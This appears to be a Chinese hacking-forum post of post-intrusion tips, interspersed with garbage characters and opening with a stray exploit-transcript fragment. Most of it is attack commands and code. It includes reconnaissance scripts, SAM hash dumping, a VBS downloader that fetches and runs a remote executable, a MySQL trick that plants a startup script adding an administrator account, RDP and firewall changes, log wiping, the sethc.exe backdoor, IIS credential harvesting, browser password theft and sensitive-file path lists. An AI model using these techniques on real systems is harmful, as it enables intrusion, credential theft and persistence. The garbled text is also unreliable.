4 ?# X! {9 z. Y7 t" @# R  P* vfs.usermount: 1
* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
- H; b: x2 X* ]; }+ ^; ^* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
$ ^1 n5 x7 I6 R- I* [argp@julius ~]$ ./nfs_mount_ex
*
calling nmount()

' Y: I' a3 c+ X+ g" E& w! W（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
& J- u. Y; _# A2 T3 L感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  
& |- |" X# _. J' D0 B% F, k
) c% n! r" A. Z, D+ P& Z+ N' ^) T提权先执行systeminfo
token 漏洞补丁号 KB956572
Churrasco          kb952004
3 r2 N3 D# k' h+ o命令行RAR打包~~·
6 d# l% P. N2 \2 M5 Brar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
2、收集系统信息的脚本  
# V: }6 }0 [/ b, h) t5 Z" Mfor window：
* ~% l  f* y) {/ j
@echo off
echo #########system info collection
systeminfo
ver
& m4 ~: V* ]# [0 G0 ?* X0 hhostname
8 a( P! X1 X* _" L# B  g+ vnet user
net localgroup
. P4 f  C5 R$ v6 W% N% u3 H( E$ znet localgroup administrators
- I* o: w4 A1 Jnet user guest
net user administrator
& d; V. T# A* N$ G
4 P3 |2 R" e" g$ d1 a1 [echo #######at- with   atq#####
echo schtask /query
; m* A- T* `- N& b( M4 M
echo
echo ####task-list#############
4 `2 Z3 n9 E: b& p# Gtasklist /svc
' [, \4 N2 s* ?( C% }4 P9 r& L$ O& gecho
echo ####net-work infomation
9 _; p7 K( Y, t0 V1 R" Z  m2 I" jipconfig/all
route print
; a; V4 ~7 ?1 P- r2 Y) i! larp -a
netstat -anipconfig /displaydns
echo
/ M# l7 _' |5 O% eecho #######service############
8 O3 h4 k7 C: A3 @sc query type= service state= all
echo #######file-##############
cd \
5 a9 [; T9 C/ ]3 _: v1 P0 l9 ctree -F
for linux：
$ U( f9 }7 O1 v( A8 x: p( L  F: m
% O" z2 J" G0 o5 M% d6 p# Z" o1 C7 m#!/bin/bash
; H4 m  W# ?$ t6 f& S
3 V7 b1 z$ a8 |: ?: u/ R6 V; gecho #######geting sysinfo####
, M/ F8 L0 l3 B) W9 Y$ C% t2 Z: hecho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
cat /proc/meminfo
echo
3 z7 _+ ~# W, b) I) @. Pcat /proc/cpuinfo
echo
rpm -qa 2>/dev/null
######stole the mail......######
9 X0 T, ~. A# [0 B! ocp -a /var/mail /tmp/getmail 2>/dev/null


5 D4 B7 i& g- s1 s7 qecho 'u'r id is' `id`
echo ###atq&crontab#####
1 }: v, ^0 q6 g; R' batq
crontab -l
echo #####about var#####
set

echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
- t/ y2 |- s$ X: f8 }hostname
8 ^9 a1 p! `# z8 Sipconfig -a
arp -v
echo ########user####
cat /etc/passwd|grep -i sh
, v  L% g( d3 F" M
echo ######service####
9 I4 V, B9 ~# `! m2 L0 f7 Achkconfig --list
0 T  V2 s6 a6 k+ o' p( b
0 I- t! p0 ~: N4 o  l) p0 bfor i in {oracle,mysql,tomcat,samba,apache,ftp}
$ U/ l$ G4 o+ c* N) c/ i% T9 T6 jcat /etc/passwd|grep -i $i
done
% ^9 g$ u0 n8 }" \$ N0 G
8 }6 Q/ Y" L# S7 \  M& o3 P. _4 glocate passwd >/tmp/password 2>/dev/null
sleep 5
locate password >>/tmp/password 2>/dev/null
sleep 5
0 |' j) {) m' A( N- g! R- ~/ Nlocate conf >/tmp/sysconfig 2>dev/null
sleep 5
. z7 l8 J* t+ f$ b1 z; {2 [: i8 Blocate config >>/tmp/sysconfig 2>/dev/null
4 h/ [  J; w# {' `8 S* n. B: E* c% Qsleep 5

###maybe can use "tree /"###
echo ##packing up#########
1 P" o: f+ X" y" W' o' Z# F! d3 }- wtar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
/ Z% z1 g" n& I% Nrm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
* p* F; f- |- q% }3、ethash 不免杀怎么获取本机hash。
* ?" f: i4 D& Y* [; q# [首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
( I- ?" S: @* c5 H* G+ q+ B% c5 R( m4 [接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
& D8 m# G: U5 w- O9 g( j7 ~2 \hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
4、vbs 下载者
1
: H0 P- ^- e* K# O0 Necho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
( O! s  x/ p- `, W/ l% @* lecho sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
" P% Z2 R8 {8 J2 D: Eecho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
" s8 |% ^+ o7 X8 e5 z0 I3 \! U; F( s9 Zecho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
3 n# n# S4 _4 p0 wecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs
% E' a' g# I5 u; X
) Q3 Z) n' B9 @4 S8 `  K2
0 ?  r/ g: @, [# O: m1 A; @On Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
0 |3 W5 l. o: r7 NSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
! w' _+ T0 F1 S" PsGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
: n7 n0 l. J6 m2 A5 R. Z( P
cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

; S: A) I, P8 m5 X2 y4 p7 y当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
( p& D3 c/ g! H) b——————————————————
5、
1.查询终端端口
4 M. n3 ~3 V/ @, o. [REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
* X7 x: Q5 M6 ?! ?5 K3 M, ]! k: K3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
" ~: L% b1 H4 a9 iREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
. f  P7 c4 X2 v0 `0 c6、create table a (cmd text);
& |3 s9 q6 a. i3 J5 einsert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
) b8 j, r4 H/ yinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
! X7 \& w! a9 s# ?  O: d* o- @9 H2 i, uselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
1 P8 J' {& C& N————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
8、for /d %i in (d:\freehost\*) do @echo %i

列出d的所有目录
- c1 J- O/ Q. ]& s( ~6 G  
  for /d %i in (???) do @echo %i
  |9 @- x5 }6 d# x# R( n
2 l/ ~+ s' R2 }( k& F. N把当前路径下文件夹的名字只有1-3个字母的打出来

2.for /r %i in (*.exe) do @echo %i
  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
% b2 _6 ?, K; o2 Q. f8 S' w% _6 V- }
for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

1 W" Y8 i0 t2 {; ?3.for /f %i in (c:\1.txt) do echo %i
' i( r3 T! F6 H/ |  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

& r& V% T, U7 ?% m( k4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
/ s) W' L; M# L: X+ W  F
  delims=后的空格是分隔符 tokens是取第几个位置
——————————
●注册表:
) Z% ?/ j& M7 |% d3 r9 e2 ^1.Administrator注册表备份:
- C" v8 N2 L  Yreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

! ^9 u9 x4 X* F$ n. D2.修改3389的默认端口:
5 L; ]# [2 Q" ?9 S6 c5 z3 qHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
3 Q4 `- f- H0 E& j  V  K修改PortNumber.

3.清除3389登录记录:
4 H4 h  D: U& Jreg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
- q0 H9 }, _. q# X2 I
4.Radmin密码:
$ m4 S% L3 k. S0 K1 t9 Hreg export HKLM\SYSTEM\RAdmin c:\a.reg

, Y. X: U$ X9 Q7 N5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

, `* U$ L6 f9 ^. h$ C  H, W6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
/ R8 V/ l" a* v$ i5 qnetsh ipsec dynamic set config ipsecexempt value=0
. \. k5 M/ m  Y" _6 `8 K' m
7.停止指派策略"myipsec":
* ?( d7 L! o3 O' N, W9 gnetsh ipsec static set policy name="myipsec" assign=n

3 @4 o1 W* \& P4 U+ g/ E* J4 a8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
/ e8 [* T" \9 V0 _! g' ?
- q0 G& _, f/ |7 U3 a2 v' @% C9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
, \) ]9 C; J. {3 j( t) T6 T; Ereg save hklm\security c:\security.hive

10.shift映像劫持
' V5 X" q- g$ \5 c1 ~5 i8 \reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
3 z: D$ e# `$ ~! N6 O+ K  O* `星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
* k$ Q1 _8 X2 t" S0 texit for
+ V6 z1 }9 w  g! F. Umsgbox("error!")
; ?$ A4 G' n$ F8 iwscript.quit
( P1 p8 Q3 Q& w' kend if
serverbindings=IIS.serverBindings
- ]6 U. F) R7 I  I2 X4 mServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
' c- j1 l. c0 O5 f5 z' vuser=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
) G8 H6 E. Y: rpath=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
7 m' p1 _7 W! G$ g/ j6 A6 Eend if
Next
+ p1 }6 S9 h4 p; bwscript.echo list
' y6 r% p' c  n' }- tSet ObjService=Nothing
- |* R( O8 \4 z( a5 C- z2 }+ g, L+ Ewscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
# i) Z* D. z9 KWScript.Quit
  T2 g( u+ U& D- C1 t复制代码
# @* W7 n7 }2 Z" I& x----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
- k2 C2 k* s1 F2 z( [<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
  U! }/ o* s8 D' `</OBJECT>
* o& U5 q* L9 |, ^8 `. d复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
# S6 ^0 K4 i( v' h. C  m' O 原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
- h2 Q* g/ P. p( y& i  V% M. R 解决方法
5 R  ]' C/ _2 K url=request.severvariables("path_info")
* E8 [. \4 }( F- ^) F; o path_info可以直接呈现虚拟路径 顺利解析gif大马

; ]& T; T; y" f  J. b2 u  `) @0 k  @==============================================================
LINUX常见路径：

6 x6 Y  x$ C0 u. O/etc/passwd
/etc/shadow
" g! O2 Z& t1 z3 u/etc/fstab
0 R! G* S" L+ D- }' C" D" N/etc/host.conf
" z: a# A% S" d& f/etc/motd
; C6 z4 {- j+ W) S- Q/etc/ld.so.conf
/var/www/htdocs/index.php
: O7 n$ j+ \9 R! n) |- X/ U# c0 k/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/httpd/conf/php.ini
  w/ P3 O0 B) L7 N+ n, f/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
, t( i. @; v8 f2 u" v" ^/var/httpd/htdocs/index.html
; o, g% G5 n+ s% _  T/var/httpd/conf/php.ini
( z5 y$ ~+ D1 d/ l& D. c* a0 @/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
, I: a: ?( _$ M0 _* r/opt/www/htdocs/index.php
! z; H+ H% v- s+ _3 T2 F/opt/www/htdocs/index.html
' ?0 o9 \2 l( p$ R, j/ K/usr/local/apache/htdocs/index.html
7 u) g0 G* D2 [5 T5 b) J/usr/local/apache/htdocs/index.php
" n2 s  _4 `" a/ _1 z% D& D/usr/local/apache2/htdocs/index.html
5 H; _. I$ K+ ^; c: [7 A7 ~" s% X4 \/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
, h& U+ U: {8 ~1 n/tmp/apache/htdocs/index.html
3 u3 ~# ]. M. z' j" Z  a" _/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
1 \# V, w7 t, N3 x$ u5 z/www/php/php.ini
/www/php4/php.ini
/www/php5/php.ini
/www/conf/httpd.conf
4 Z1 Z+ }, s+ u, [/ ]2 w1 C7 r/www/htdocs/index.php
/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
( |- r% {1 [" O/ m, g* ^/etc/apache/apache.conf
) i3 w. S) c# L/etc/apache2/apache.conf
$ _6 i" H0 t' g, H/ ~/etc/apache/httpd.conf
9 m% d" A9 ?" i* P# s/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
5 n, @$ A' j* S$ J* ^+ L% x/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
  z9 `' s9 k; i* j2 K/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
4 I% o, k0 w8 k/home/apache2/conf/httpd.conf
8 r7 k" \& T0 r. H/var/log/apache/error_log
/var/log/apache/error.log
5 j2 P/ q" C; q/var/log/apache/access_log
5 h+ w; d; x% Y% g) S; S2 J0 r2 h/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/ e0 q# r& U% n, s6 N/ \2 E/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
+ M* ?* g1 y7 S( D9 h/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
3 P7 H) T! R" N  H/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
! K/ `2 F0 T6 @4 X" t0 d; G/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
) Q4 X; z3 h2 }/etc/php.ini
/bin/php.ini
# l$ p4 |. o0 R! C$ M7 R" a/etc/init.d/httpd
5 Y5 T/ d( H' ?) {. `2 P/ x# Q/etc/init.d/mysql
- Z2 Y$ y! _3 t7 @+ {/etc/httpd/php.ini
' M/ q( }1 e6 \/usr/lib/php.ini
. z6 F* E2 R8 {/usr/lib/php/php.ini
: i+ A+ s: X0 f) F; b6 o/usr/local/etc/php.ini
5 G- e8 ]7 V; ~& p/usr/local/lib/php.ini
2 \* x/ B. `5 X" M1 ^$ E; ?" u/usr/local/php/lib/php.ini
9 a' h! e. Z8 O8 f  ]2 q; t6 l/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
4 d; N0 x; }* Q( [- z/usr/local/php4/lib/php.ini
/ I- H9 ]! K, e  j# x3 S/usr/local/php5/lib/php.ini
  C* |+ N4 e! y! K( O- z9 ^* y- t% K* L; j/usr/local/php5/etc/php.ini
0 `5 p7 z" z7 q, Y0 \* A/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
7 Q0 {! Q. i; i% N/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
; ^( G7 \5 w. F8 J: f$ B2 F8 R' V/etc/php5/apache/php.ini
9 M- X! [, e/ Q+ b4 K: c/etc/php5/apache2/php.ini
/etc/php/php.ini
9 Q  q7 O! i: K" y& Y/etc/php/php4/php.ini
# q5 x/ y+ C/ O) V/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/web/conf/php.ini
& D7 A" w/ z$ g5 y+ o/usr/local/Zend/etc/php.ini
& ]% F  K# O; B3 ^/opt/xampp/etc/php.ini
+ F4 h* M. }* m+ W7 b/var/local/www/conf/php.ini
% r8 E! o; @- f, p, R: \% E1 A/var/local/www/conf/httpd.conf
5 ~2 `7 T7 I6 K" v* p5 [, ]/etc/php/cgi/php.ini
- R6 T- @' j# w9 s" s0 e6 U/etc/php4/cgi/php.ini
9 X! i* b* Z# P/ }3 o6 y/etc/php5/cgi/php.ini
/php5/php.ini
* k9 \. y3 M" @% C3 y* \/php4/php.ini
/php/php.ini
/PHP/php.ini
" G& [, O9 K7 v. _, a8 ~/apache/php/php.ini
/xampp/apache/bin/php.ini
% s3 Y( q9 g3 H. a4 l  l+ ?/xampp/apache/conf/httpd.conf
1 e' n, H! p! P# A! v& s/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
) h$ _+ `( c( w8 ^# E" J; [# }/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
9 L! k7 g# C2 i7 M6 T$ q( T/ u# n/var/log/mysql.log
) \9 x1 i$ u: |+ R9 i0 V8 w6 z/var/log/mysqlderror.log
/var/log/mysql/mysql.log
5 @; ]1 Q+ `: h  o/var/log/mysql/mysql-slow.log
6 \* D7 B" A  v. e/var/mysql.log
6 z) M5 }3 S+ \" `/var/lib/mysql/my.cnf
1 o6 Q/ `% z4 }8 Q& E6 _0 u/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
/etc/my.cnf
+ @) X, @! W0 z/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
& \+ \8 V- C/ b/ k4 @# x/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini
% k/ {$ u+ ]$ u$ r6 i# s
2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
% }7 p( |: d9 @* Y. t5 R2 h9 ^: w
c:\windows\php.ini
7 \3 P, F5 S2 {8 i7 j/ Dc:\boot.ini
; M  M4 p- x, K2 ~c:\1.txt
c:\a.txt

& g1 s+ f; ~' o: zc:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
7 h. ]/ H7 B8 N3 Y# oc:\program files\CMailServer\CMailServer.exe
2 C  r$ `" H% K7 P8 I$ Vc:\program files\CMailServer\WebMail\index.asp
) ?, m& \% m5 J5 e  R/ \; p& zC:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
) g" ?# v. l( Q+ S9 }; D6 b, mC:\WINDOWS\7i24tool.exe

6 l: e% G/ I3 tc:\hzhost\databases\url.asp
8 o5 Z: X/ @* p( v. W# Y
c:\hzhost\hzclient.exe
$ V" ^/ j- N* X6 T( NC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
c:\web\index.html
; a% F4 N2 s0 L, p: L( \* m: cc:\www\index.html
; n' M/ v, N2 ^c:\WWWROOT\index.html
c:\website\index.html
# I# Q7 e+ X  w" r6 S2 gc:\web\index.asp
c:\www\index.asp
: A; r+ a  N% Y( Sc:\wwwsite\index.asp
" S& d: C' {' T, @( Pc:\WWWROOT\index.asp
" v" t- K7 y5 }" Cc:\web\index.php
- ?7 Q) i4 |7 o4 e8 j  ~c:\www\index.php
c:\WWWROOT\index.php
c:\WWWsite\index.php
% {. T  f3 K; B: f; A1 Sc:\web\default.html
c:\www\default.html
# }. n$ j+ g, A6 D  B/ V: b. rc:\WWWROOT\default.html
: v! @2 q) P2 d4 r! F+ \c:\website\default.html
* J8 s  Z3 a% h6 ~& g9 O2 kc:\web\default.asp
$ h7 s4 H" i- J& {( A9 uc:\www\default.asp
: U8 e- @7 E1 O# g& D# J& mc:\wwwsite\default.asp
c:\WWWROOT\default.asp
c:\web\default.php
c:\www\default.php
c:\WWWROOT\default.php
1 u, H7 u7 C) u0 A9 cc:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
c:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
2 X" O, D  F" T% o4 H: [C:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
! I0 x# W5 r6 `* _6 ~& G2 fC:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
9 o" p: S; K( {1 s5 c) [3 ec:\ravbin\store.ini
c:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
) S: S4 w9 ~+ ]% UC:\Documents and Settings\All Users\Start Menu\desktop.ini
" v9 j) e( w. \9 C! D  W$ K8 g3 VC:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
2 }/ [( |0 q4 W$ @4 X7 _& MC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
! K! Z3 }* V. c) EC:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
8 e. Q& E) d/ Z/ O! U& MC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
$ A8 h4 @, D2 V# @) x( N. b: s. Q1 UC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
" Y. P* [6 ]6 `C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
: D8 c7 {( {. s; MC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
" n3 O4 C; p$ S. G9 H) hC:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
3 S4 y0 q: G: p- f; p; YC:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
5 d- K7 O# d0 G0 [; l; O( X7 u% Yc:\MySQL\MySQL Server 4.1\bin\mysql.exe
/ s" V- R6 |. E6 I/ }6 q& zc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
9 `' X  F( n4 v2 s6 v8 NC:\Program Files\Oracle\oraconfig\Lpk.dll
  q5 D4 t  A# \1 `C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
0 R8 |2 P$ n4 q/ ?C:\WINDOWS\system32\inetsrv\w3wp.exe
# C: I4 c, k7 r1 C% _) xC:\WINDOWS\system32\inetsrv\inetinfo.exe
- O& q7 h- J+ P% T) _+ W0 }5 I+ `C:\WINDOWS\system32\inetsrv\MetaBase.xml
. o# S/ L. Q3 X+ n, GC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
% b' t: F" l1 ~7 uC:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
* O, b9 }& o/ r8 e8 kC:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
  e7 H/ f7 d! ]: d0 _( \C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
/ p% c) R( n$ q$ Oc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
/ U1 @7 C( G! d" h# i$ W( q( Gc:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
" u% y0 f) B6 r9 q/usr/local/tomcat5527/bin/version.sh
9 m9 V% H8 i: U8 W/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
( h$ q+ E) f, R' ^c:\Program Files\Tencent\qq\qq.exe
+ k: U: U1 A/ P0 U  }( B. uc:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
